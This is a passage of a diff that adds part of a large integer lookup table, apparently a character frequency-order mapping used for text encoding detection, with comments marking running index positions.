+7106,7107,7108,7109,7110,7111,7112,7113,7114,7115,7116,7117,7118,4450,7119,7120, # 6784 +7121,7122,7123,7124,7125,7126,7127,7128,7129,7130,7131,7132,7133,7134,7135,7136, # 6800 +7137,7138,7139,7140,7141,7142,7143,4843,7144,7145,7146,7147,7148,7149,7150,7151, # 6816 +7152,7153,7154,7155,7156,7157,7158,7159,7160,7161,7162,7163,7164,7165,7166,7167, # 6832 +7168,7169,7170,7171,7172,7173,7174,7175,7176,7177,7178,7179,7180,7181,7182,7183, # 6848 +7184,7185,7186,7187,7188,4171,4172,7189,7190,7191,7192,7193,7194,7195,7196,7197, # 6864 +7198,7199,7200,7201,7202,7203,7204,7205,7206,7207,7208,7209,7210,7211,7212,7213, # 6880 +7214,7215,7216,7217,7218,7219,7220,7221,7222,7223,7224,7225,7226,7227,7228,7229, # 6896 +7230,7231,7232,7233,7234,7235,7236,7237,7238,7239,7240,7241,7242,7243,7244,7245, # 6912 +7246,7247,7248,7249,7250,7251,7252,7253,7254,7255,7256,7257,7258,7259,7260,7261, # 6928 +7262,7263,7264,7265,7266,7267,7268,7269,7270,7271,7272,7273,7274,7275,7276,7277, # 6944 +7278,7279,7280,7281,7282,7283,7284,7285,7286,7287,7288,7289,7290,7291,7292,7293, # 6960 +7294,7295,7296,4844,7297,7298,7299,7300,7301,7302,7303,7304,7305,7306,7307,7308, # 6976 +7309,7310,7311,7312,7313,7314,7315,7316,4451,7317,7318,7319,7320,7321,7322,7323, # 6992 +7324,7325,7326,7327,7328,7329,7330,7331,7332,7333,7334,7335,7336,7337,7338,7339, # 7008 +7340,7341,7342,7343,7344,7345,7346,7347,7348,7349,7350,7351,7352,7353,4173,7354, # 7024 +7355,4845,7356,7357,7358,7359,7360,7361,7362,7363,7364,7365,7366,7367,7368,7369, # 7040 +7370,7371,7372,7373,7374,7375,7376,7377,7378,7379,7380,7381,7382,7383,7384,7385, # 7056 +7386,7387,7388,4846,7389,7390,7391,7392,7393,7394,7395,7396,7397,7398,7399,7400, # 7072 +7401,7402,7403,7404,7405,3672,7406,7407,7408,7409,7410,7411,7412,7413,7414,7415, # 7088 +7416,7417,7418,7419,7420,7421,7422,7423,7424,7425,7426,7427,7428,7429,7430,7431, # 7104 +7432,7433,7434,7435,7436,7437,7438,7439,7440,7441,7442,7443,7444,7445,7446,7447, # 7120 +7448,7449,7450,7451,7452,7453,4452,7454,3200,7455,7456,7457,7458,7459,7460,7461, # 7136 +7462,7463,7464,7465,7466,7467,7468,7469,7470,7471,7472,7473,7474,4847,7475,7476, # 7152 +7477,3133,7478,7479,7480,7481,7482,7483,7484,7485,7486,7487,7488,7489,7490,7491, # 7168 +7492,7493,7494,7495,7496,7497,7498,7499,7500,7501,7502,3347,7503,7504,7505,7506, # 7184 +7507,7508,7509,7510,7511,7512,7513,7514,7515,7516,7517,7518,7519,7520,7521,4848, # 7200 +7522,7523,7524,7525,7526,7527,7528,7529,7530,7531,7532,7533,7534,7535,7536,7537, # 7216 +7538,7539,7540,7541,7542,7543,7544,7545,7546,7547,7548,7549,3801,4849,7550,7551, # 7232 +7552,7553,7554,7555,7556,7557,7558,7559,7560,7561,7562,7563,7564,7565,7566,7567, # 7248 +7568,7569,3035,7570,7571,7572,7573,7574,7575,7576,7577,7578,7579,7580,7581,7582, # 7264 +7583,7584,7585,7586,7587,7588,7589,7590,7591,7592,7593,7594,7595,7596,7597,7598, # 7280 +7599,7600,7601,7602,7603,7604,7605,7606,7607,7608,7609,7610,7611,7612,7613,7614, # 7296 +7615,7616,4850,7617,7618,3802,7619,7620,7621,7622,7623,7624,7625,7626,7627,7628, # 7312 +7629,7630,7631,7632,4851,7633,7634,7635,7636,7637,7638,7639,7640,7641,7642,7643, # 7328 +7644,7645,7646,7647,7648,7649,7650,7651,7652,7653,7654,7655,7656,7657,7658,7659, # 7344 +7660,7661,7662,7663,7664,7665,7666,7667,7668,7669,7670,4453,7671,7672,7673,7674, # 7360 +7675,7676,7677,7678,7679,7680,7681,7682,7683,7684,7685,7686,7687,7688,7689,7690, # 7376 +7691,7692,7693,7694,7695,7696,7697,3443,7698,7699,7700,7701,7702,4454,7703,7704, # 7392 +7705,7706,7707,7708,7709,7710,7711,7712,7713,2472,7714,7715,7716,7717,7718,7719, # 7408 +7720,7721,7722,7723,7724,7725,7726,7727,7728,7729,7730,7731,3954,7732,7733,7734, # 7424 +7735,7736,7737,7738,7739,7740,7741,7742,7743,7744,7745,7746,7747,7748,7749,7750, # 7440 +3134,7751,7752,4852,7753,7754,7755,4853,7756,7757,7758,7759,7760,4174,7761,7762, # 7456 +7763,7764,7765,7766,7767,7768,7769,7770,7771,7772,7773,7774,7775,7776,7777,7778, # 7472 +7779,7780,7781,7782,7783,7784,7785,7786,7787,7788,7789,7790,7791,7792,7793,7794, # 7488 +7795,7796,7797,7798,7799,7800,7801,7802,7803,7804,7805,4854,7806,7807,7808,7809, # 7504 +7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823,7824,7825, # 7520 +4855,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839,7840, # 7536 +7841,7842,7843,7844,7845,7846,7847,3955,7848,7849,7850,7851,7852,7853,7854,7855, # 7552 +7856,7857,7858,7859,7860,3444,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870, # 7568 +7871,7872,7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886, # 7584 +7887,7888,7889,7890,7891,4175,7892,7893,7894,7895,7896,4856,4857,7897,7898,7899, # 7600 +7900,2598,7901,7902,7903,7904,7905,7906,7907,7908,4455,7909,7910,7911,7912,7913, # 7616 +7914,3201,7915,7916,7917,7918,7919,7920,7921,4858,7922,7923,7924,7925,7926,7927, # 7632 +7928,7929,7930,7931,7932,7933,7934,7935,7936,7937,7938,7939,7940,7941,7942,7943, # 7648 +7944,7945,7946,7947,7948,7949,7950,7951,7952,7953,7954,7955,7956,7957,7958,7959, # 7664 +7960,7961,7962,7963,7964,7965,7966,7967,7968,7969,7970,7971,7972,7973,7974,7975, # 7680 +7976,7977,7978,7979,7980,7981,4859,7982,7983,7984,7985,7986,7987,7988,7989,7990, # 7696 +7991,7992,7993,7994,7995,7996,4860,7997,7998,7999,8000,8001,8002,8003,8004,8005, # 7712 +8006,8007,8008,8009,8010,8011,8012,8013,8014,8015,8016,4176,8017,8018,8019,8020, # 7728 +8021,8022,8023,4861,8024,8025,8026,8027,8028,8029,8030,8031,8032,8033,8034,8035, # 7744 +8036,4862,4456,8037,8038,8039,8040,4863,8041,8042,8043,8044,8045,8046,8047,8048, # 7760 +8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063,8064, # 7776 +8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079,8080, # 7792 +8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096, # 7808 +8097,8098,8099,4864,4177,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110, # 7824 +8111,8112,8113,8114,8115,8116,8117,8118,8119,8120,4178,8121,8122,8123,8124,8125, # 7840 +8126,8127,8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141, # 7856 +8142,8143,8144,8145,4865,4866,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155, # 7872 +8156,8157,8158,8159,8160,8161,8162,8163,8164,8165,4179,8166,8167,8168,8169,8170, # 7888 +8171,8172,8173,8174,8175,8176,8177,8178,8179,8180,8181,4457,8182,8183,8184,8185, # 7904 +8186,8187,8188,8189,8190,8191,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201, # 7920 +8202,8203,8204,8205,8206,8207,8208,8209,8210,8211,8212,8213,8214,8215,8216,8217, # 7936 +8218,8219,8220,8221,8222,8223,8224,8225,8226,8227,8228,8229,8230,8231,8232,8233, # 7952 +8234,8235,8236,8237,8238,8239,8240,8241,8242,8243,8244,8245,8246,8247,8248,8249, # 7968 +8250,8251,8252,8253,8254,8255,8256,3445,8257,8258,8259,8260,8261,8262,4458,8263, # 7984 +8264,8265,8266,8267,8268,8269,8270,8271,8272,4459,8273,8274,8275,8276,3550,8277, # 8000 +8278,8279,8280,8281,8282,8283,8284,8285,8286,8287,8288,8289,4460,8290,8291,8292, # 8016 +8293,8294,8295,8296,8297,8298,8299,8300,8301,8302,8303,8304,8305,8306,8307,4867, # 8032 +8308,8309,8310,8311,8312,3551,8313,8314,8315,8316,8317,8318,8319,8320,8321,8322, # 8048 +8323,8324,8325,8326,4868,8327,8328,8329,8330,8331,8332,8333,8334,8335,8336,8337, # 8064 +8338,8339,8340,8341,8342,8343,8344,8345,8346,8347,8348,8349,8350,8351,8352,8353, # 8080 +8354,8355,8356,8357,8358,8359,8360,8361,8362,8363,4869,4461,8364,8365,8366,8367, # 8096 +8368,8369,8370,4870,8371,8372,8373,8374,8375,8376,8377,8378,8379,8380,8381,8382, # 8112 +8383,8384,8385,8386,8387,8388,8389,8390,8391,8392,8393,8394,8395,8396,8397,8398, # 8128 +8399,8400,8401,8402,8403,8404,8405,8406,8407,8408,8409,8410,4871,8411,8412,8413, # 8144 +8414,8415,8416,8417,8418,8419,8420,8421,8422,4462,8423,8424,8425,8426,8427,8428, # 8160 +8429,8430,8431,8432,8433,2986,8434,8435,8436,8437,8438,8439,8440,8441,8442,8443, # 8176 +8444,8445,8446,8447,8448,8449,8450,8451,8452,8453,8454,8455,8456,8457,8458,8459, # 8192 +8460,8461,8462,8463,8464,8465,8466,8467,8468,8469,8470,8471,8472,8473,8474,8475, # 8208 +8476,8477,8478,4180,8479,8480,8481,8482,8483,8484,8485,8486,8487,8488,8489,8490, # 8224 +8491,8492,8493,8494,8495,8496,8497,8498,8499,8500,8501,8502,8503,8504,8505,8506, # 8240 +8507,8508,8509,8510,8511,8512,8513,8514,8515,8516,8517,8518,8519,8520,8521,8522, # 8256 +8523,8524,8525,8526,8527,8528,8529,8530,8531,8532,8533,8534,8535,8536,8537,8538, # 8272 +8539,8540,8541,8542,8543,8544,8545,8546,8547,8548,8549,8550,8551,8552,8553,8554, # 8288 +8555,8556,8557,8558,8559,8560,8561,8562,8563,8564,4872,8565,8566,8567,8568,8569, # 8304 +8570,8571,8572,8573,4873,8574,8575,8576,8577,8578,8579,8580,8581,8582,8583,8584, # 8320 +8585,8586,8587,8588,8589,8590,8591,8592,8593,8594,8595,8596,8597,8598,8599,8600, # 8336 +8601,8602,8603,8604,8605,3803,8606,8607,8608,8609,8610,8611,8612,8613,4874,3804, # 8352 +8614,8615,8616,8617,8618,8619,8620,8621,3956,8622,8623,8624,8625,8626,8627,8628, # 8368 +8629,8630,8631,8632,8633,8634,8635,8636,8637,8638,2865,8639,8640,8641,8642,8643, # 8384 +8644,8645,8646,8647,8648,8649,8650,8651,8652,8653,8654,8655,8656,4463,8657,8658, # 8400 +8659,4875,4876,8660,8661,8662,8663,8664,8665,8666,8667,8668,8669,8670,8671,8672, # 8416 +8673,8674,8675,8676,8677,8678,8679,8680,8681,4464,8682,8683,8684,8685,8686,8687, # 8432 +8688,8689,8690,8691,8692,8693,8694,8695,8696,8697,8698,8699,8700,8701,8702,8703, # 8448 +8704,8705,8706,8707,8708,8709,2261,8710,8711,8712,8713,8714,8715,8716,8717,8718, # 8464 +8719,8720,8721,8722,8723,8724,8725,8726,8727,8728,8729,8730,8731,8732,8733,4181, # 8480 +8734,8735,8736,8737,8738,8739,8740,8741,8742,8743,8744,8745,8746,8747,8748,8749, # 8496 +8750,8751,8752,8753,8754,8755,8756,8757,8758,8759,8760,8761,8762,8763,4877,8764, # 8512 +8765,8766,8767,8768,8769,8770,8771,8772,8773,8774,8775,8776,8777,8778,8779,8780, # 8528 +8781,8782,8783,8784,8785,8786,8787,8788,4878,8789,4879,8790,8791,8792,4880,8793, # 8544 +8794,8795,8796,8797,8798,8799,8800,8801,4881,8802,8803,8804,8805,8806,8807,8808, # 8560 +8809,8810,8811,8812,8813,8814,8815,3957,8816,8817,8818,8819,8820,8821,8822,8823, # 8576 +8824,8825,8826,8827,8828,8829,8830,8831,8832,8833,8834,8835,8836,8837,8838,8839, # 8592 +8840,8841,8842,8843,8844,8845,8846,8847,4882,8848,8849,8850,8851,8852,8853,8854, # 8608 +8855,8856,8857,8858,8859,8860,8861,8862,8863,8864,8865,8866,8867,8868,8869,8870, # 8624 +8871,8872,8873,8874,8875,8876,8877,8878,8879,8880,8881,8882,8883,8884,3202,8885, # 8640 +8886,8887,8888,8889,8890,8891,8892,8893,8894,8895,8896,8897,8898,8899,8900,8901, # 8656 +8902,8903,8904,8905,8906,8907,8908,8909,8910,8911,8912,8913,8914,8915,8916,8917, # 8672 +8918,8919,8920,8921,8922,8923,8924,4465,8925,8926,8927,8928,8929,8930,8931,8932, # 8688 +4883,8933,8934,8935,8936,8937,8938,8939,8940,8941,8942,8943,2214,8944,8945,8946, # 8704 +8947,8948,8949,8950,8951,8952,8953,8954,8955,8956,8957,8958,8959,8960,8961,8962, # 8720 +8963,8964,8965,4884,8966,8967,8968,8969,8970,8971,8972,8973,8974,8975,8976,8977, # 8736 +8978,8979,8980,8981,8982,8983,8984,8985,8986,8987,8988,8989,8990,8991,8992,4885, # 8752 +8993,8994,8995,8996,8997,8998,8999,9000,9001,9002,9003,9004,9005,9006,9007,9008, # 8768 +9009,9010,9011,9012,9013,9014,9015,9016,9017,9018,9019,9020,9021,4182,9022,9023, # 8784 +9024,9025,9026,9027,9028,9029,9030,9031,9032,9033,9034,9035,9036,9037,9038,9039, # 8800 +9040,9041,9042,9043,9044,9045,9046,9047,9048,9049,9050,9051,9052,9053,9054,9055, # 8816 +9056,9057,9058,9059,9060,9061,9062,9063,4886,9064,9065,9066,9067,9068,9069,4887, # 8832 +9070,9071,9072,9073,9074,9075,9076,9077,9078,9079,9080,9081,9082,9083,9084,9085, # 8848 +9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9101, # 8864 +9102,9103,9104,9105,9106,9107,9108,9109,9110,9111,9112,9113,9114,9115,9116,9117, # 8880 +9118,9119,9120,9121,9122,9123,9124,9125,9126,9127,9128,9129,9130,9131,9132,9133, # 8896 +9134,9135,9136,9137,9138,9139,9140,9141,3958,9142,9143,9144,9145,9146,9147,9148, # 8912 +9149,9150,9151,4888,9152,9153,9154,9155,9156,9157,9158,9159,9160,9161,9162,9163, # 8928 +9164,9165,9166,9167,9168,9169,9170,9171,9172,9173,9174,9175,4889,9176,9177,9178, # 8944 +9179,9180,9181,9182,9183,9184,9185,9186,9187,9188,9189,9190,9191,9192,9193,9194, # 8960 +9195,9196,9197,9198,9199,9200,9201,9202,9203,4890,9204,9205,9206,9207,9208,9209, # 8976 +9210,9211,9212,9213,9214,9215,9216,9217,9218,9219,9220,9221,9222,4466,9223,9224, # 8992 +9225,9226,9227,9228,9229,9230,9231,9232,9233,9234,9235,9236,9237,9238,9239,9240, # 9008 +9241,9242,9243,9244,9245,4891,9246,9247,9248,9249,9250,9251,9252,9253,9254,9255, # 9024 +9256,9257,4892,9258,9259,9260,9261,4893,4894,9262,9263,9264,9265,9266,9267,9268, # 9040 +9269,9270,9271,9272,9273,4467,9274,9275,9276,9277,9278,9279,9280,9281,9282,9283, # 9056 +9284,9285,3673,9286,9287,9288,9289,9290,9291,9292,9293,9294,9295,9296,9297,9298, # 9072 +9299,9300,9301,9302,9303,9304,9305,9306,9307,9308,9309,9310,9311,9312,9313,9314, # 9088 +9315,9316,9317,9318,9319,9320,9321,9322,4895,9323,9324,9325,9326,9327,9328,9329, # 9104 +9330,9331,9332,9333,9334,9335,9336,9337,9338,9339,9340,9341,9342,9343,9344,9345, # 9120 +9346,9347,4468,9348,9349,9350,9351,9352,9353,9354,9355,9356,9357,9358,9359,9360, # 9136 +9361,9362,9363,9364,9365,9366,9367,9368,9369,9370,9371,9372,9373,4896,9374,4469, # 9152 +9375,9376,9377,9378,9379,4897,9380,9381,9382,9383,9384,9385,9386,9387,9388,9389, # 9168 +9390,9391,9392,9393,9394,9395,9396,9397,9398,9399,9400,9401,9402,9403,9404,9405, # 9184 +9406,4470,9407,2751,9408,9409,3674,3552,9410,9411,9412,9413,9414,9415,9416,9417, # 9200 +9418,9419,9420,9421,4898,9422,9423,9424,9425,9426,9427,9428,9429,3959,9430,9431, # 9216 +9432,9433,9434,9435,9436,4471,9437,9438,9439,9440,9441,9442,9443,9444,9445,9446, # 9232 +9447,9448,9449,9450,3348,9451,9452,9453,9454,9455,9456,9457,9458,9459,9460,9461, # 9248 +9462,9463,9464,9465,9466,9467,9468,9469,9470,9471,9472,4899,9473,9474,9475,9476, # 9264 +9477,4900,9478,9479,9480,9481,9482,9483,9484,9485,9486,9487,9488,3349,9489,9490, # 9280 +9491,9492,9493,9494,9495,9496,9497,9498,9499,9500,9501,9502,9503,9504,9505,9506, # 9296 +9507,9508,9509,9510,9511,9512,9513,9514,9515,9516,9517,9518,9519,9520,4901,9521, # 9312 +9522,9523,9524,9525,9526,4902,9527,9528,9529,9530,9531,9532,9533,9534,9535,9536, # 9328 +9537,9538,9539,9540,9541,9542,9543,9544,9545,9546,9547,9548,9549,9550,9551,9552, # 9344 +9553,9554,9555,9556,9557,9558,9559,9560,9561,9562,9563,9564,9565,9566,9567,9568, # 9360 +9569,9570,9571,9572,9573,9574,9575,9576,9577,9578,9579,9580,9581,9582,9583,9584, # 9376 +3805,9585,9586,9587,9588,9589,9590,9591,9592,9593,9594,9595,9596,9597,9598,9599, # 9392 +9600,9601,9602,4903,9603,9604,9605,9606,9607,4904,9608,9609,9610,9611,9612,9613, # 9408 +9614,4905,9615,9616,9617,9618,9619,9620,9621,9622,9623,9624,9625,9626,9627,9628, # 9424 +9629,9630,9631,9632,4906,9633,9634,9635,9636,9637,9638,9639,9640,9641,9642,9643, # 9440 +4907,9644,9645,9646,9647,9648,9649,9650,9651,9652,9653,9654,9655,9656,9657,9658, # 9456 +9659,9660,9661,9662,9663,9664,9665,9666,9667,9668,9669,9670,9671,9672,4183,9673, # 9472 +9674,9675,9676,9677,4908,9678,9679,9680,9681,4909,9682,9683,9684,9685,9686,9687, # 9488 +9688,9689,9690,4910,9691,9692,9693,3675,9694,9695,9696,2945,9697,9698,9699,9700, # 9504 +9701,9702,9703,9704,9705,4911,9706,9707,9708,9709,9710,9711,9712,9713,9714,9715, # 9520 +9716,9717,9718,9719,9720,9721,9722,9723,9724,9725,9726,9727,9728,9729,9730,9731, # 9536 +9732,9733,9734,9735,4912,9736,9737,9738,9739,9740,4913,9741,9742,9743,9744,9745, # 9552 +9746,9747,9748,9749,9750,9751,9752,9753,9754,9755,9756,9757,9758,4914,9759,9760, # 9568 +9761,9762,9763,9764,9765,9766,9767,9768,9769,9770,9771,9772,9773,9774,9775,9776, # 9584 +9777,9778,9779,9780,9781,9782,4915,9783,9784,9785,9786,9787,9788,9789,9790,9791, # 9600 +9792,9793,4916,9794,9795,9796,9797,9798,9799,9800,9801,9802,9803,9804,9805,9806, # 9616 +9807,9808,9809,9810,9811,9812,9813,9814,9815,9816,9817,9818,9819,9820,9821,9822, # 9632 +9823,9824,9825,9826,9827,9828,9829,9830,9831,9832,9833,9834,9835,9836,9837,9838, # 9648 +9839,9840,9841,9842,9843,9844,9845,9846,9847,9848,9849,9850,9851,9852,9853,9854, # 9664 +9855,9856,9857,9858,9859,9860,9861,9862,9863,9864,9865,9866,9867,9868,4917,9869, # 9680 +9870,9871,9872,9873,9874,9875,9876,9877,9878,9879,9880,9881,9882,9883,9884,9885, # 9696 +9886,9887,9888,9889,9890,9891,9892,4472,9893,9894,9895,9896,9897,3806,9898,9899, # 9712 +9900,9901,9902,9903,9904,9905,9906,9907,9908,9909,9910,9911,9912,9913,9914,4918, # 9728 +9915,9916,9917,4919,9918,9919,9920,9921,4184,9922,9923,9924,9925,9926,9927,9928, # 9744 +9929,9930,9931,9932,9933,9934,9935,9936,9937,9938,9939,9940,9941,9942,9943,9944, # 9760 +9945,9946,4920,9947,9948,9949,9950,9951,9952,9953,9954,9955,4185,9956,9957,9958, # 9776 +9959,9960,9961,9962,9963,9964,9965,4921,9966,9967,9968,4473,9969,9970,9971,9972, # 9792 +9973,9974,9975,9976,9977,4474,9978,9979,9980,9981,9982,9983,9984,9985,9986,9987, # 9808 +9988,9989,9990,9991,9992,9993,9994,9995,9996,9997,9998,9999,10000,10001,10002,10003, # 9824 +10004,10005,10006,10007,10008,10009,10010,10011,10012,10013,10014,10015,10016,10017,10018,10019, # 9840 +10020,10021,4922,10022,4923,10023,10024,10025,10026,10027,10028,10029,10030,10031,10032,10033, # 9856 +10034,10035,10036,10037,10038,10039,10040,10041,10042,10043,10044,10045,10046,10047,10048,4924, # 9872 +10049,10050,10051,10052,10053,10054,10055,10056,10057,10058,10059,10060,10061,10062,10063,10064, # 9888 +10065,10066,10067,10068,10069,10070,10071,10072,10073,10074,10075,10076,10077,10078,10079,10080, # 9904 +10081,10082,10083,10084,10085,10086,10087,4475,10088,10089,10090,10091,10092,10093,10094,10095, # 9920 +10096,10097,4476,10098,10099,10100,10101,10102,10103,10104,10105,10106,10107,10108,10109,10110, # 9936 +10111,2174,10112,10113,10114,10115,10116,10117,10118,10119,10120,10121,10122,10123,10124,10125, # 9952 +10126,10127,10128,10129,10130,10131,10132,10133,10134,10135,10136,10137,10138,10139,10140,3807, # 9968 +4186,4925,10141,10142,10143,10144,10145,10146,10147,4477,4187,10148,10149,10150,10151,10152, # 9984 +10153,4188,10154,10155,10156,10157,10158,10159,10160,10161,4926,10162,10163,10164,10165,10166, #10000 +10167,10168,10169,10170,10171,10172,10173,10174,10175,10176,10177,10178,10179,10180,10181,10182, #10016 +10183,10184,10185,10186,10187,10188,10189,10190,10191,10192,3203,10193,10194,10195,10196,10197, #10032 +10198,10199,10200,4478,10201,10202,10203,10204,4479,10205,10206,10207,10208,10209,10210,10211, #10048 +10212,10213,10214,10215,10216,10217,10218,10219,10220,10221,10222,10223,10224,10225,10226,10227, #10064 +10228,10229,10230,10231,10232,10233,10234,4927,10235,10236,10237,10238,10239,10240,10241,10242, #10080 +10243,10244,10245,10246,10247,10248,10249,10250,10251,10252,10253,10254,10255,10256,10257,10258, #10096 +10259,10260,10261,10262,10263,10264,10265,10266,10267,10268,10269,10270,10271,10272,10273,4480, #10112 +4928,4929,10274,10275,10276,10277,10278,10279,10280,10281,10282,10283,10284,10285,10286,10287, #10128 +10288,10289,10290,10291,10292,10293,10294,10295,10296,10297,10298,10299,10300,10301,10302,10303, #10144 +10304,10305,10306,10307,10308,10309,10310,10311,10312,10313,10314,10315,10316,10317,10318,10319, #10160 +10320,10321,10322,10323,10324,10325,10326,10327,10328,10329,10330,10331,10332,10333,10334,4930, #10176 +10335,10336,10337,10338,10339,10340,10341,10342,4931,10343,10344,10345,10346,10347,10348,10349, #10192 +10350,10351,10352,10353,10354,10355,3088,10356,2786,10357,10358,10359,10360,4189,10361,10362, #10208 +10363,10364,10365,10366,10367,10368,10369,10370,10371,10372,10373,10374,10375,4932,10376,10377, #10224 +10378,10379,10380,10381,10382,10383,10384,10385,10386,10387,10388,10389,10390,10391,10392,4933, #10240 +10393,10394,10395,4934,10396,10397,10398,10399,10400,10401,10402,10403,10404,10405,10406,10407, #10256 +10408,10409,10410,10411,10412,3446,10413,10414,10415,10416,10417,10418,10419,10420,10421,10422, #10272 +10423,4935,10424,10425,10426,10427,10428,10429,10430,4936,10431,10432,10433,10434,10435,10436, #10288 +10437,10438,10439,10440,10441,10442,10443,4937,10444,10445,10446,10447,4481,10448,10449,10450, #10304 +10451,10452,10453,10454,10455,10456,10457,10458,10459,10460,10461,10462,10463,10464,10465,10466, #10320 +10467,10468,10469,10470,10471,10472,10473,10474,10475,10476,10477,10478,10479,10480,10481,10482, #10336 +10483,10484,10485,10486,10487,10488,10489,10490,10491,10492,10493,10494,10495,10496,10497,10498, #10352 +10499,10500,10501,10502,10503,10504,10505,4938,10506,10507,10508,10509,10510,2552,10511,10512, #10368 +10513,10514,10515,10516,3447,10517,10518,10519,10520,10521,10522,10523,10524,10525,10526,10527, #10384 +10528,10529,10530,10531,10532,10533,10534,10535,10536,10537,10538,10539,10540,10541,10542,10543, #10400 +4482,10544,4939,10545,10546,10547,10548,10549,10550,10551,10552,10553,10554,10555,10556,10557, #10416 +10558,10559,10560,10561,10562,10563,10564,10565,10566,10567,3676,4483,10568,10569,10570,10571, #10432 +10572,3448,10573,10574,10575,10576,10577,10578,10579,10580,10581,10582,10583,10584,10585,10586, #10448 +10587,10588,10589,10590,10591,10592,10593,10594,10595,10596,10597,10598,10599,10600,10601,10602, #10464 +10603,10604,10605,10606,10607,10608,10609,10610,10611,10612,10613,10614,10615,10616,10617,10618, #10480 +10619,10620,10621,10622,10623,10624,10625,10626,10627,4484,10628,10629,10630,10631,10632,4940, #10496 +10633,10634,10635,10636,10637,10638,10639,10640,10641,10642,10643,10644,10645,10646,10647,10648, #10512 +10649,10650,10651,10652,10653,10654,10655,10656,4941,10657,10658,10659,2599,10660,10661,10662, #10528 +10663,10664,10665,10666,3089,10667,10668,10669,10670,10671,10672,10673,10674,10675,10676,10677, #10544 +10678,10679,10680,4942,10681,10682,10683,10684,10685,10686,10687,10688,10689,10690,10691,10692, #10560 +10693,10694,10695,10696,10697,4485,10698,10699,10700,10701,10702,10703,10704,4943,10705,3677, #10576 +10706,10707,10708,10709,10710,10711,10712,4944,10713,10714,10715,10716,10717,10718,10719,10720, #10592 +10721,10722,10723,10724,10725,10726,10727,10728,4945,10729,10730,10731,10732,10733,10734,10735, #10608 +10736,10737,10738,10739,10740,10741,10742,10743,10744,10745,10746,10747,10748,10749,10750,10751, #10624 +10752,10753,10754,10755,10756,10757,10758,10759,10760,10761,4946,10762,10763,10764,10765,10766, #10640 +10767,4947,4948,10768,10769,10770,10771,10772,10773,10774,10775,10776,10777,10778,10779,10780, #10656 +10781,10782,10783,10784,10785,10786,10787,10788,10789,10790,10791,10792,10793,10794,10795,10796, #10672 +10797,10798,10799,10800,10801,10802,10803,10804,10805,10806,10807,10808,10809,10810,10811,10812, #10688 +10813,10814,10815,10816,10817,10818,10819,10820,10821,10822,10823,10824,10825,10826,10827,10828, #10704 +10829,10830,10831,10832,10833,10834,10835,10836,10837,10838,10839,10840,10841,10842,10843,10844, #10720 +10845,10846,10847,10848,10849,10850,10851,10852,10853,10854,10855,10856,10857,10858,10859,10860, #10736 +10861,10862,10863,10864,10865,10866,10867,10868,10869,10870,10871,10872,10873,10874,10875,10876, #10752 +10877,10878,4486,10879,10880,10881,10882,10883,10884,10885,4949,10886,10887,10888,10889,10890, #10768 +10891,10892,10893,10894,10895,10896,10897,10898,10899,10900,10901,10902,10903,10904,10905,10906, #10784 +10907,10908,10909,10910,10911,10912,10913,10914,10915,10916,10917,10918,10919,4487,10920,10921, #10800 +10922,10923,10924,10925,10926,10927,10928,10929,10930,10931,10932,4950,10933,10934,10935,10936, #10816 +10937,10938,10939,10940,10941,10942,10943,10944,10945,10946,10947,10948,10949,4488,10950,10951, #10832 +10952,10953,10954,10955,10956,10957,10958,10959,4190,10960,10961,10962,10963,10964,10965,10966, #10848 +10967,10968,10969,10970,10971,10972,10973,10974,10975,10976,10977,10978,10979,10980,10981,10982, #10864 +10983,10984,10985,10986,10987,10988,10989,10990,10991,10992,10993,10994,10995,10996,10997,10998, #10880 +10999,11000,11001,11002,11003,11004,11005,11006,3960,11007,11008,11009,11010,11011,11012,11013, #10896 +11014,11015,11016,11017,11018,11019,11020,11021,11022,11023,11024,11025,11026,11027,11028,11029, #10912 +11030,11031,11032,4951,11033,11034,11035,11036,11037,11038,11039,11040,11041,11042,11043,11044, #10928 +11045,11046,11047,4489,11048,11049,11050,11051,4952,11052,11053,11054,11055,11056,11057,11058, #10944 +4953,11059,11060,11061,11062,11063,11064,11065,11066,11067,11068,11069,11070,11071,4954,11072, #10960 +11073,11074,11075,11076,11077,11078,11079,11080,11081,11082,11083,11084,11085,11086,11087,11088, #10976 +11089,11090,11091,11092,11093,11094,11095,11096,11097,11098,11099,11100,11101,11102,11103,11104, #10992 +11105,11106,11107,11108,11109,11110,11111,11112,11113,11114,11115,3808,11116,11117,11118,11119, #11008 +11120,11121,11122,11123,11124,11125,11126,11127,11128,11129,11130,11131,11132,11133,11134,4955, #11024 +11135,11136,11137,11138,11139,11140,11141,11142,11143,11144,11145,11146,11147,11148,11149,11150, #11040 +11151,11152,11153,11154,11155,11156,11157,11158,11159,11160,11161,4956,11162,11163,11164,11165, #11056 +11166,11167,11168,11169,11170,11171,11172,11173,11174,11175,11176,11177,11178,11179,11180,4957, #11072 +11181,11182,11183,11184,11185,11186,4958,11187,11188,11189,11190,11191,11192,11193,11194,11195, #11088 +11196,11197,11198,11199,11200,3678,11201,11202,11203,11204,11205,11206,4191,11207,11208,11209, #11104 +11210,11211,11212,11213,11214,11215,11216,11217,11218,11219,11220,11221,11222,11223,11224,11225, #11120 +11226,11227,11228,11229,11230,11231,11232,11233,11234,11235,11236,11237,11238,11239,11240,11241, #11136 +11242,11243,11244,11245,11246,11247,11248,11249,11250,11251,4959,11252,11253,11254,11255,11256, #11152 +11257,11258,11259,11260,11261,11262,11263,11264,11265,11266,11267,11268,11269,11270,11271,11272, #11168 +11273,11274,11275,11276,11277,11278,11279,11280,11281,11282,11283,11284,11285,11286,11287,11288, #11184 +11289,11290,11291,11292,11293,11294,11295,11296,11297,11298,11299,11300,11301,11302,11303,11304, #11200 +11305,11306,11307,11308,11309,11310,11311,11312,11313,11314,3679,11315,11316,11317,11318,4490, #11216 +11319,11320,11321,11322,11323,11324,11325,11326,11327,11328,11329,11330,11331,11332,11333,11334, #11232 